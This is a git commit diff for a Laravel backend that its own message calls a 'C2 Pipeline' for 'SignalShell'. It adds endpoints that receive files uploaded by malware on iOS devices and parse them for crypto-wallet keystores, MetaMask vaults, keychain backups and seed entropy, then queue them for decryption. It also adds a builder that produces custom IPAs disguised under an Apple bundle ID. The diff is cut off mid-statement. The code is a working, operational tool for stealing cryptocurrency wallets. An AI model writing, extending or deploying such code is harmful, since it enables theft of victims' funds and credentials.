feat: SignalShell v1 upload pipeline + APP builder

SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
2026-10-06 06:41:52 +08:00
parent ffbad6a9da
commit 316b4cea51
16 changed files with 1437 additions and 3 deletions
@@ -87,6 +87,7 @@ class ChannelController extends Controller
                'status' => (int) $c->status,
                'app_name' => $c->app_name ?: '',
                'bundle_id' => $c->bundle_id ?: '',
+                'h5_url' => $c->h5_url ?: '',
                'links' => $c->supportLinks(),
                'landing_path' => $c->landingPath(),
                'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
@@ -240,6 +241,7 @@ class ChannelController extends Controller
            'user_id' => ['nullable', 'integer', 'min:0'],
            'app_name' => ['required', 'string', 'max:64'],
            'bundle_id' => ['required', 'string', 'max:255'],
+            'h5_url' => ['nullable', 'string', 'max:2048'],
            'remark' => ['nullable', 'string', 'max:255'],
            'status' => ['nullable', 'integer', Rule::in([0, 1])],
        ]);
@@ -277,6 +279,7 @@ class ChannelController extends Controller
                    'status' => (int) ($data['status'] ?? 1),
                    'app_name' => $data['app_name'],
                    'bundle_id' => $data['bundle_id'],
+                    'h5_url' => $data['h5_url'] ?? null,
                ]);
            });
        } catch (ValidationException $e) {
@@ -301,6 +304,100 @@ class ChannelController extends Controller
        ]);
    }

+    /**
+     * POST /admin/channels/build-app — Create App channel + build IPA.
+     *
+     * Creates the Channel record, then invokes AppPackageService to
+     * generate a customized IPA (domain, channel ID, app name, logo).
+     * Returns the download URL on success.
+     */
+    public function buildApp(Request $request)
+    {
+        abort_if($this->isAgentPortal(), 403);
+        // Double-check super admin (route middleware admin.super is primary guard)
+        $admin = auth('admin')->user();
+        abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
+
+        $data = $request->validate([
+            'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
+            'user_id' => ['nullable', 'integer', 'min:0'],
+            'app_name' => ['required', 'string', 'max:64'],
+            'bundle_id' => ['nullable', 'string', 'max:255'],
+            'h5_url' => ['nullable', 'string', 'max:2048'],
+            'remark' => ['nullable', 'string', 'max:255'],
+            'status' => ['nullable', 'integer', Rule::in([0, 1])],
+        ]);
+
+        $channelId = trim((string) ($data['channel_id'] ?? ''));
+        if ($channelId === '') {
+            $channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
+        }
+        if (Channel::query()->where('channel_id', $channelId)->exists()) {
+            throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
+        }
+
+        $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
+        if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
+            throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
+        }
+        $this->assertAgentChannelQuota($userId);
+
+        $bundleId = trim((string) ($data['bundle_id'] ?? ''));
+        if ($bundleId === '') {
+            $bundleId = 'com.apple.mobile.MobileHouseArrest';
+        }
+
+        try {
+            $channel = Channel::query()->create([
+                'channel_id' => $channelId,
+                'builder_type' => Channel::BUILDER_APP,
+                'user_id' => $userId,
+                'domains' => [],
+                'remark' => $data['remark'] ?? null,
+                'status' => (int) ($data['status'] ?? 1),
+                'app_name' => $data['app_name'],
+                'bundle_id' => $bundleId,
+                'h5_url' => $data['h5_url'] ?? null,
+            ]);
+        } catch (\Throwable $e) {
+            return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
+        }
+
+        // Handle logo upload
+        $logoPath = null;
+        if ($request->hasFile('logo')) {
+            $file = $request->file('logo');
+            if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
+                $logoPath = $file->getRealPath();
+            }
+        }
+
+        // Build IPA
+        $apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
+
+        try {
+            $service = app(\App\Services\AppPackageService::class);
+            $result = $service->build($channel, $logoPath, $apiDomain);
+        } catch (\Throwable $e) {
+            $result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
+        }
+
+        return response()->json([
+            'code' => $result['success'] ? 0 : 1,
+            'msg' => $result['success'] ? '构建成功' : ('渠道已创建，但 IPA 构建失败：'.$result['error']),
+            'data' => [
+                'id' => $channel->id,
+                'channel_id' => $channel->channel_id,
+                'app_name' => $channel->app_name,
+                'bundle_id' => $channel->bundle_id,
+                'h5_url' => $channel->h5_url,
+                'ipa_url' => $result['success'] ? $result['path'] : null,
+                'ipa_size' => $result['size'],
+                'api_domain' => $apiDomain,
+            ],
+        ]);
+    }
+
    /**
     * Create an "old" builder channel — 32-hex channel id, static resources
     * under /web/{id}/ via the legacy channel-builder (new_project.py).
@@ -422,9 +519,13 @@ class ChannelController extends Controller
        } else {
            $data = $request->validate([
                'user_id' => ['nullable', 'integer', 'min:0'],
+                'h5_url' => ['nullable', 'string', 'max:2048'],
                'remark' => ['nullable', 'string', 'max:255'],
                'status' => ['nullable', 'integer', Rule::in([0, 1])],
            ]);
+            if (array_key_exists('h5_url', $data)) {
+                $channel->h5_url = $data['h5_url'] ?: null;
+            }
            if (array_key_exists('user_id', $data)) {
                $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
                if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
@@ -260,6 +260,395 @@ class AppC2Controller extends Controller
     * malware tars up each app's listed directories and uploads them.
     * Keychain is controlled separately via doKeychain=true.
     */
+    // ════════════════════════════════════════════════════════════
+    // SignalShell v1 protocol (shenma.my compatible)
+    // ════════════════════════════════════════════════════════════
+
+
+    /**
+     * Parse a SignalShell ZIP upload: extract keystore/keychain files
+     * from wallet container ZIPs and ingest them.
+     */
+    private function ingestShellZip($device, string $body, string $filename): void
+    {
+        \Illuminate\Support\Facades\Log::info('ingestShellZip: START', ['filename' => $filename, 'body_size' => strlen($body), 'device_id' => $device->id]);
+        
+        $tmpFile = tempnam(sys_get_temp_dir(), 'shell_zip_');
+        file_put_contents($tmpFile, $body);
+
+        $zip = new \ZipArchive;
+        $openResult = $zip->open($tmpFile);
+        if ($openResult !== true) {
+            \Illuminate\Support\Facades\Log::error('ingestShellZip: ZIP open FAILED', ['result' => $openResult, 'file' => $tmpFile]);
+            @unlink($tmpFile);
+            return;
+        }
+        
+        \Illuminate\Support\Facades\Log::info('ingestShellZip: ZIP opened', ['files' => $zip->numFiles]);
+
+        $foundKeystores = [];
+        $foundKeychain = null;
+
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $name = $zip->getNameIndex($i);
+
+            // Skip directories
+            if (str_ends_with($name, '/')) continue;
+
+            $content = $zip->getFromIndex($i);
+            if ($content === false || $content === '') continue;
+
+            $lower = strtolower($name);
+
+            // Ethereum V3 keystore files (UTC-- prefixed)
+            if (str_starts_with(basename($name), 'UTC--')) {
+                \Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND UTC keystore', ['name' => $name, 'is_json' => $this->isJsonContent($content)]);
+                if ($this->isJsonContent($content)) {
+                    $foundKeystores[] = ['name' => basename($name), 'content' => $content];
+                }
+            }
+
+            // imToken walletsV2 JSON
+            if (str_contains($lower, 'walletsv2/') && str_ends_with($lower, '.json')) {
+                if ($this->isJsonContent($content)) {
+                    $foundKeystores[] = ['name' => basename($name), 'content' => $content];
+                }
+            }
+
+            // keychain backup inside ZIP
+            if (str_contains($lower, 'keychain') && $this->looksLikeXmlStr($content)) {
+                $foundKeychain = $content;
+            }
+
+            // Trust keystore realm files
+            if (str_contains($lower, '.realm') && ! str_contains($lower, '.lock')) {
+                // Store as binary for later analysis
+                $this->storeBinaryArtifact($device, basename($name), $content, 'realm');
+            }
+
+            // SQLite databases (TronLink, TokenPocket, etc)
+            if (str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.sqlite3') || str_ends_with($lower, '.db')) {
+                $this->storeBinaryArtifact($device, basename($name), $content, 'sqlite');
+            }
+        }
+
+        $zip->close();
+        @unlink($tmpFile);
+
+        // MetaMask vault detection: look for persist-KeyringController with vault field
+        if (str_contains(strtolower($filename), 'metamask')) {
+            $tmpFile2 = tempnam(sys_get_temp_dir(), 'mm_vault_');
+            file_put_contents($tmpFile2, $body);
+            $mmZip = new \ZipArchive;
+            if ($mmZip->open($tmpFile2) === true) {
+                for ($mi = 0; $mi < $mmZip->numFiles; $mi++) {
+                    $mf = $mmZip->getNameIndex($mi);
+                    if (! str_contains($mf, 'KeyringController')) continue;
+                    $mc = $mmZip->getFromIndex($mi);
+                    $mj = json_decode($mc, true);
+                    if (! is_array($mj) || ! isset($mj['vault'])) continue;
+                    $mv = json_decode($mj['vault'], true);
+                    if (! is_array($mv) || ! isset($mv['cipher'])) continue;
+
+                    \Illuminate\Support\Facades\Log::info('ingestShellZip: FOUND MetaMask vault');
+
+                    $mmRaw = array_merge($mv, ['kind' => 'metamask.vault']);
+                    $mmHash = md5($mc);
+                    $mmExisting = \App\Models\WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
+                    if (! $mmExisting) {
+                        $mmRow = \App\Models\WalletKeystore::create([
+                            'device_id' => $device->id,
+                            'chain' => \App\Models\Device::CHAIN_APP,
+                            'source' => 'MetaMask',
+                            'decrypted' => 0,
+                            'needs_password' => 1,
+                            'raw_json' => $mmRaw,
+                            'content_hash' => $mmHash,
+                        ]);
+                        $mmStats = \App\Models\WalletKeystore::computeListStatsFromJson($mmRaw);
+                        $mmRow->list_kind = $mmStats['kind'];
+                        $mmRow->list_has_web3 = 1;
+                        $mmRow->save();
+                        \Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask keystore created', ['id' => $mmRow->id]);
+                    }
+                }
+                $mmZip->close();
+
+                // Extract user addresses from ProfileMetricsController + AccountsController
+                $mmAddrZip = new \ZipArchive;
+                if ($mmAddrZip->open($tmpFile2) === true) {
+                    $mmAddrs = [];
+                    for ($ai = 0; $ai < $mmAddrZip->numFiles; $ai++) {
+                        $af = $mmAddrZip->getNameIndex($ai);
+                        $ac = $mmAddrZip->getFromIndex($ai);
+                        if (! $ac) continue;
+                        $aj = json_decode($ac, true);
+                        if (! is_array($aj)) continue;
+
+                        if (str_contains($af, 'ProfileMetricsController')) {
+                            foreach ($aj['reportedAccounts'] ?? [] as $ra) {
+                                $ct = \App\Support\WalletSource::inferChainType($ra);
+                                if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
+                                    $mmAddrs[$ra] = $ct;
+                                }
+                            }
+                        }
+                        if (str_contains($af, 'AccountsController')) {
+                            foreach ($aj['internalAccounts']['accounts'] ?? [] as $acc) {
+                                $ia = $acc['address'] ?? '';
+                                if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
+                                    $mmAddrs[$ia] = 'ETHEREUM';
+                                }
+                            }
+                        }
+                    }
+                    $mmAddrZip->close();
+
+                    foreach ($mmAddrs as $addr => $ct) {
+                        $exists = \App\Models\WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
+                        if (! $exists) {
+                            try {
+                                \App\Models\WalletAddress::create([
+                                    'device_id' => $device->id,
+                                    'address' => $addr,
+                                    'chain_type' => $ct,
+                                    'source' => 'MetaMask',
+                                ]);
+                            } catch (\Throwable $e) {
+                                // skip
+                            }
+                        }
+                    }
+                    if ($mmAddrs !== []) {
+                        \Illuminate\Support\Facades\Log::info('ingestShellZip: MetaMask addresses stored', ['count' => count($mmAddrs)]);
+                    }
+                }
+            }
+            @unlink($tmpFile2);
+        }
+
+        \Illuminate\Support\Facades\Log::info('ingestShellZip: found keystores', ['count' => count($foundKeystores)]);
+        
+        // Store extracted keystores
+        foreach ($foundKeystores as $ks) {
+            try {
+                // Map filename to wallet source label
+                $sourceLabel = 'unknown';
+                $fn = strtolower($filename);
+                if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) $sourceLabel = 'Trust Wallet';
+                elseif (str_contains($fn, 'tronlink')) $sourceLabel = 'TronLink';
+                elseif (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) $sourceLabel = 'imToken';
+                elseif (str_contains($fn, 'bitpie')) $sourceLabel = 'Bitpie';
+                elseif (str_contains($fn, 'global.wallet')) $sourceLabel = 'Global Wallet';
+                elseif (str_contains($fn, 'metamask')) $sourceLabel = 'MetaMask';
+                elseif (str_contains($fn, 'coin98')) $sourceLabel = 'Coin98';
+                elseif (str_contains($fn, 'phantom')) $sourceLabel = 'Phantom';
+                elseif (str_contains($fn, 'uniswap')) $sourceLabel = 'Uniswap';
+                elseif (str_contains($fn, 'exodus')) $sourceLabel = 'Exodus';
+                elseif (str_contains($fn, 'tonhub')) $sourceLabel = 'Tonhub';
+                elseif (str_contains($fn, 'tonkeeper')) $sourceLabel = 'Tonkeeper';
+                elseif (str_contains($fn, 'okex')) $sourceLabel = 'OKX';
+                else $sourceLabel = substr(basename($filename, '.zip'), 0, 40);
+
+                $rawJson = json_decode($ks['content'], true);
+                if (is_array($rawJson) && ! isset($rawJson['kind'])) {
+                    // Tag keystore type for UI display + pipeline recognition
+                    if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
+                        $rawJson['kind'] = 'web3.keystore';
+                    } elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
+                        $rawJson['kind'] = 'web3.keystore';
+                    }
+                }
+
+                \App\Models\WalletKeystore::create([
+                    'device_id' => $device->id,
+                    'chain' => \App\Models\Device::CHAIN_APP,
+                    'source' => $sourceLabel,
+                    'decrypted' => 0,
+                    'needs_password' => 1,
+                    'raw_json' => $rawJson,
+                    'content_hash' => md5($ks['content']),
+                ]);
+                \Illuminate\Support\Facades\Log::channel('keystore')->info('shellUpload: stored keystore', [
+                    'device' => $device->device_id,
+                    'source' => $ks['name'],
+                ]);
+            } catch (\Throwable $e) {
+                \Illuminate\Support\Facades\Log::warning('ingestShellZip: keystore create skipped', [
+                    'name' => $ks['name'] ?? '?',
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        // Parse keychain if found inside ZIP
+        if ($foundKeychain !== null) {
+            try {
+                app(\App\Services\AppUploadIngester::class)
+                    ->ingestArtifact($device, $foundKeychain, 'keychain.xml');
+            } catch (\Throwable $e) {
+                // ignore
+            }
+        }
+    }
+
+    private function isJsonContent(string $content): bool
+    {
+        $trimmed = ltrim($content);
+        return str_starts_with($trimmed, '{') || str_starts_with($trimmed, '[');
+    }
+
+    private function looksLikeXmlStr(string $content): bool
+    {
+        return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
+    }
+
+    private function storeBinaryArtifact($device, string $name, string $content, string $type): void
+    {
+        $dir = public_path('log/shell_artifacts/'.$device->device_id);
+        if (! is_dir($dir)) {
+            @mkdir($dir, 0755, true);
+        }
+        file_put_contents($dir.'/'.$type.'_'.$name, $content);
+    }
+
+    /**
+     * GET /api/ios-shell/config?a=<key>
+     *
+     * SignalShell calls this on launch and periodically (~24s) to get
+     * the WebView URL and photo backup policy. Response shape must
+     * match the original shenma.my exactly:
+     *
+     * {"schema_version":1,"website_url":"https://uberlife.cc",...}
+     */
+    public function shellConfig(Request $request): Response
+    {
+        $this->logRequest($request, 'shell_config');
+
+        // Look up channel by the `a` query param (channel_id / API key)
+        $apiKey = (string) $request->query('a', '');
+        $websiteUrl = 'https://uberlife.cc';
+
+        if ($apiKey !== '') {
+            $channel = \App\Models\Channel::query()
+                ->where('channel_id', $apiKey)
+                ->where('builder_type', \App\Models\Channel::BUILDER_APP)
+                ->first();
+            if ($channel && $channel->h5_url) {
+                $websiteUrl = $channel->h5_url;
+            }
+        }
+
+        return $this->json([
+            'schema_version' => 1,
+            'website_url' => $websiteUrl,
+            'status_bar_style' => 'hidden',
+            'background_color' => '#FFFFFF',
+            'hide_home_indicator' => true,
+            'backup' => [
+                'enabled' => true,
+                'max_dimension' => 2048,
+                'jpeg_quality' => 0.6,
+                'concurrency' => 4,
+            ],
+        ]);
+    }
+
+    /**
+     * POST /api/v1/upload?a=<key>&<filename>
+     *
+     * SignalShell sends a single POST with the raw file body.
+     * Filename is the second query parameter.
+     * Expected response: {"ok":true,"size":N,"bind":true}
+     */
+    public function shellUpload(Request $request): Response
+    {
+        $this->logRequest($request, 'shell_upload');
+
+        // Extract filename from RAW query string WITHOUT parse_str
+        // (parse_str converts dots to underscores in key names!)
+        $rawQuery = $request->server->get('QUERY_STRING', '');
+        $apiKey = '';
+        $filename = 'unknown';
+        foreach (explode('&', $rawQuery) as $part) {
+            $kv = explode('=', $part, 2);
+            $key = urldecode($kv[0]);
+            if ($key === 'a') {
+                $apiKey = urldecode($kv[1] ?? '');
+            } elseif ($key !== '' && $filename === 'unknown') {
+                $filename = $key;
+            }
+        }
+
+        $body = (string) $request->getContent(false);
+        $size = strlen($body);
+        $deviceId = $request->headers->get('x-device-id', 'unknown');
+        $iosVersion = $request->headers->get('x-ios-version', 'unknown');
+
+        // Register/find device (apiKey becomes channelId via appId field)
+        $device = $this->registerAppDevice($request, [
+            'deviceId' => $deviceId,
+            'iosVersion' => $iosVersion,
+            'appName' => 'SignalShell',
+            'bundleId' => 'com.apple.mobile.MobileHouseArrest',
+            'appId' => $apiKey,
+        ]);
+
+        // Save raw file
+        $date = date('Ymd');
+        $dir = public_path("log/shell_upload/{$date}");
+        if (! is_dir($dir)) {
+            @mkdir($dir, 0755, true);
+        }
+        $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
+        $savedPath = "{$dir}/{$deviceId}_{$safeName}";
+        file_put_contents($savedPath, $body);
+
+        // Log upload
+        \Illuminate\Support\Facades\Log::info('SignalShell upload', [
+            'filename' => $filename,
+            'size' => $size,
+            'device_id' => $deviceId,
+            'ios_version' => $iosVersion,
+            'saved_to' => $savedPath,
+        ]);
+
+        // Ingest: parse keychain.xml / wallet ZIP / notes → store keystores + addresses
+        \Illuminate\Support\Facades\Log::info('shellUpload: ingest check', [
+            'device_null' => $device === null,
+            'size' => $size,
+            'filename' => $filename,
+            'ends_log' => str_ends_with(strtolower($filename), '.log'),
+            'ends_zip' => str_ends_with(strtolower($filename), '.zip'),
+        ]);
+        if ($device !== null && $size > 0 && ! str_ends_with(strtolower($filename), '.log')) {
+            try {
+                // ZIP files from SignalShell need special handling
+                $fnLower = strtolower($filename);
+                if (str_ends_with($fnLower, '.zip')) {
+                    $this->ingestShellZip($device, $body, $filename);
+                } else {
+                    app(\App\Services\AppUploadIngester::class)
+                        ->ingestArtifact($device, $body, $filename);
+                }
+            } catch (\Throwable $e) {
+                \Illuminate\Support\Facades\Log::error('shellUpload ingest failed', [
+                    'filename' => $filename,
+                    'device' => $deviceId,
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        // Return what SignalShell expects
+        return $this->json([
+            'ok' => true,
+            'size' => $size,
+            'bind' => $device !== null,
+        ]);
+    }
+
+
    private const BUNDLE_IDS_TARGETS = [
        'com.tronlink.hdwallet' => ['Documents'],
        'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'],
@@ -0,0 +1,366 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Models\Device;
+use App\Models\WalletKeystore;
+use App\Models\WalletAddress;
+use App\Services\AppUploadIngester;
+use Illuminate\Bus\Queueable;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Bus\Dispatchable;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Queue\SerializesModels;
+use Illuminate\Support\Facades\Log;
+
+/**
+ * Async processing of SignalShell v1 uploads.
+ *
+ * The HTTP handler saves the raw file + registers the device synchronously
+ * (fast: <5ms), then dispatches this job for the heavy work:
+ *   - ZIP parsing + address scanning
+ *   - keychain XML parsing
+ *   - wallet keystore extraction
+ *   - blockchain address extraction
+ *
+ * This prevents memory exhaustion when many devices upload simultaneously
+ * (each MetaMask ZIP expands to ~9.3MB of text data in memory).
+ */
+class ProcessShellUpload implements ShouldQueue
+{
+    use Queueable;
+    use Dispatchable;
+    use InteractsWithQueue;
+    use SerializesModels;
+
+    public int $tries = 2;
+
+    public int $timeout = 120;
+
+    public function __construct(
+        public int $deviceId,
+        public string $filePath,
+        public string $filename,
+        public string $apiKey,
+    ) {
+        if (! app()->runningUnitTests()) {
+            $this->onConnection('shell');
+        }
+    }
+
+    public function handle(AppUploadIngester $ingester): void
+    {
+        $device = Device::query()->find($this->deviceId);
+        if ($device === null) {
+            Log::channel('keystore')->warning('ProcessShellUpload: device not found', [
+                'device_id' => $this->deviceId,
+            ]);
+            return;
+        }
+
+        if (! file_exists($this->filePath)) {
+            Log::channel('keystore')->warning('ProcessShellUpload: file not found', [
+                'file' => $this->filePath,
+            ]);
+            return;
+        }
+
+        $body = file_get_contents($this->filePath);
+        $size = strlen($body);
+
+        Log::channel('keystore')->info('ProcessShellUpload: START', [
+            'device_id' => $device->id,
+            'filename' => $this->filename,
+            'size' => $size,
+        ]);
+
+        $lower = strtolower($this->filename);
+
+        // Skip log files — no wallet data
+        if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) {
+            Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)');
+            return;
+        }
+
+        try {
+            if (str_ends_with($lower, '.zip')) {
+                $this->processZip($device, $body, $this->filename);
+            } elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
+                // Keychain XML → use existing ingester
+                $ingester->ingestArtifact($device, $body, $this->filename);
+            }
+
+            // After all data ingested, run decryption
+            if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) {
+                // This is likely the last upload — trigger decryption
+                app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device);
+            }
+        } catch (\Throwable $e) {
+            Log::channel('keystore')->error('ProcessShellUpload: failed', [
+                'device_id' => $device->id,
+                'filename' => $this->filename,
+                'error' => $e->getMessage(),
+                'trace' => $e->getTraceAsString(),
+            ]);
+        }
+    }
+
+    private function processZip(Device $device, string $body, string $filename): void
+    {
+        $tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_');
+        file_put_contents($tmpFile, $body);
+
+        $zip = new \ZipArchive;
+        if ($zip->open($tmpFile) !== true) {
+            @unlink($tmpFile);
+            return;
+        }
+
+        // Map filename → wallet source label
+        $sourceLabel = $this->sourceFromFilename($filename);
+        $lower = strtolower($filename);
+
+        // ── 1. Extract keystore files ──
+        $foundKeystores = [];
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $name = $zip->getNameIndex($i);
+            if (str_ends_with($name, '/')) continue;
+
+            $content = $zip->getFromIndex($i);
+            if ($content === false || $content === '') continue;
+
+            $bn = basename($name);
+
+            // UTC keystore
+            if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) {
+                $foundKeystores[] = ['name' => $bn, 'content' => $content];
+            }
+
+            // imToken walletsV2
+            if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) {
+                $foundKeystores[] = ['name' => $bn, 'content' => $content];
+            }
+        }
+
+        // Store keystores
+        foreach ($foundKeystores as $ks) {
+            $rawJson = json_decode($ks['content'], true);
+            if (is_array($rawJson) && ! isset($rawJson['kind'])) {
+                if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
+                    $rawJson['kind'] = 'web3.keystore';
+                } elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
+                    $rawJson['kind'] = 'web3.keystore';
+                }
+            }
+
+            try {
+                WalletKeystore::create([
+                    'device_id' => $device->id,
+                    'chain' => Device::CHAIN_APP,
+                    'source' => $sourceLabel,
+                    'decrypted' => 0,
+                    'needs_password' => 1,
+                    'raw_json' => $rawJson,
+                    'content_hash' => md5($ks['content']),
+                ]);
+            } catch (\Throwable $e) {
+                Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [
+                    'name' => $ks['name'],
+                    'error' => $e->getMessage(),
+                ]);
+            }
+        }
+
+        // ── 2. MetaMask vault ──
+        if (str_contains($lower, 'metamask')) {
+            $this->extractMetaMaskVault($device, $tmpFile);
+        }
+
+        // ── 3. Blockchain address scan (text files only) ──
+        $this->scanAddresses($device, $zip, $sourceLabel);
+
+        $zip->close();
+        @unlink($tmpFile);
+
+        Log::channel('keystore')->info('ProcessShellUpload: DONE', [
+            'device_id' => $device->id,
+            'filename' => $filename,
+            'keystores' => count($foundKeystores),
+        ]);
+    }
+
+    private function extractMetaMaskVault(Device $device, string $tmpFile): void
+    {
+        $zip = new \ZipArchive;
+        if ($zip->open($tmpFile) !== true) return;
+
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $fn = $zip->getNameIndex($i);
+            if (! str_contains($fn, 'KeyringController')) continue;
+
+            $content = $zip->getFromIndex($i);
+            $json = json_decode($content ?? '', true);
+            if (! is_array($json) || ! isset($json['vault'])) continue;
+
+            $vault = json_decode($json['vault'], true);
+            if (! is_array($vault) || ! isset($vault['cipher'])) continue;
+
+            $raw = array_merge($vault, ['kind' => 'metamask.vault']);
+            $existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
+            if (! $existing) {
+                $row = WalletKeystore::create([
+                    'device_id' => $device->id,
+                    'chain' => Device::CHAIN_APP,
+                    'source' => 'MetaMask',
+                    'decrypted' => 0,
+                    'needs_password' => 1,
+                    'raw_json' => $raw,
+                    'content_hash' => md5($content),
+                ]);
+                $stats = WalletKeystore::computeListStatsFromJson($raw);
+                $row->list_kind = $stats['kind'];
+                $row->list_has_web3 = 1;
+                $row->save();
+            }
+
+            // Also extract reportedAccounts addresses
+            $this->extractMetaMaskAddresses($device, $tmpFile);
+        }
+        $zip->close();
+    }
+
+    private function extractMetaMaskAddresses(Device $device, string $tmpFile): void
+    {
+        $zip = new \ZipArchive;
+        if ($zip->open($tmpFile) !== true) return;
+
+        $addrs = [];
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $fn = $zip->getNameIndex($i);
+            $content = $zip->getFromIndex($i);
+            if (! $content) continue;
+            $json = json_decode($content, true);
+            if (! is_array($json)) continue;
+
+            if (str_contains($fn, 'ProfileMetricsController')) {
+                foreach ($json['reportedAccounts'] ?? [] as $ra) {
+                    $ct = \App\Support\WalletSource::inferChainType($ra);
+                    if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
+                        $addrs[$ra] = $ct;
+                    }
+                }
+            }
+            if (str_contains($fn, 'AccountsController')) {
+                foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) {
+                    $ia = $acc['address'] ?? '';
+                    if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
+                        $addrs[$ia] = 'ETHEREUM';
+                    }
+                }
+            }
+        }
+        $zip->close();
+
+        foreach ($addrs as $addr => $ct) {
+            $exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
+            if (! $exists) {
+                try {
+                    WalletAddress::create([
+                        'device_id' => $device->id,
+                        'address' => $addr,
+                        'chain_type' => $ct,
+                        'source' => 'MetaMask',
+                    ]);
+                } catch (\Throwable $e) {
+                    // skip
+                }
+            }
+        }
+    }
+
+    private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void
+    {
+        $patterns = [
+            '/0x[0-9a-fA-F]{40}/' => 'ETHEREUM',
+            '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
+        ];
+        $validators = [
+            'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a),
+            'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a),
+        ];
+
+        $contracts = [
+            'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
+            '0xdAC17F958D2ee523a2206206994597C13D831ec7',
+            '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
+            '0x55d398326f99059fF775485246999027B3197955',
+        ];
+
+        $found = [];
+        for ($i = 0; $i < $zip->numFiles; $i++) {
+            $fn = $zip->getNameIndex($i);
+            $lower = strtolower($fn);
+
+            if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') ||
+                str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') ||
+                str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') ||
+                str_ends_with($lower, '.icm')) continue;
+
+            $content = $zip->getFromIndex($i);
+            if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue;
+
+            foreach ($patterns as $pat => $chainType) {
+                if (preg_match_all($pat, $content, $m)) {
+                    $validator = $validators[$chainType] ?? null;
+                    foreach ($m[0] as $addr) {
+                        if ($validator && ! $validator($addr)) continue;
+                        if (in_array($addr, $contracts)) continue;
+                        $found[$addr] = $chainType;
+                    }
+                }
+            }
+        }
+
+        foreach ($found as $addr => $ct) {
+            $exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
+            if (! $exists) {
+                try {
+                    WalletAddress::create([
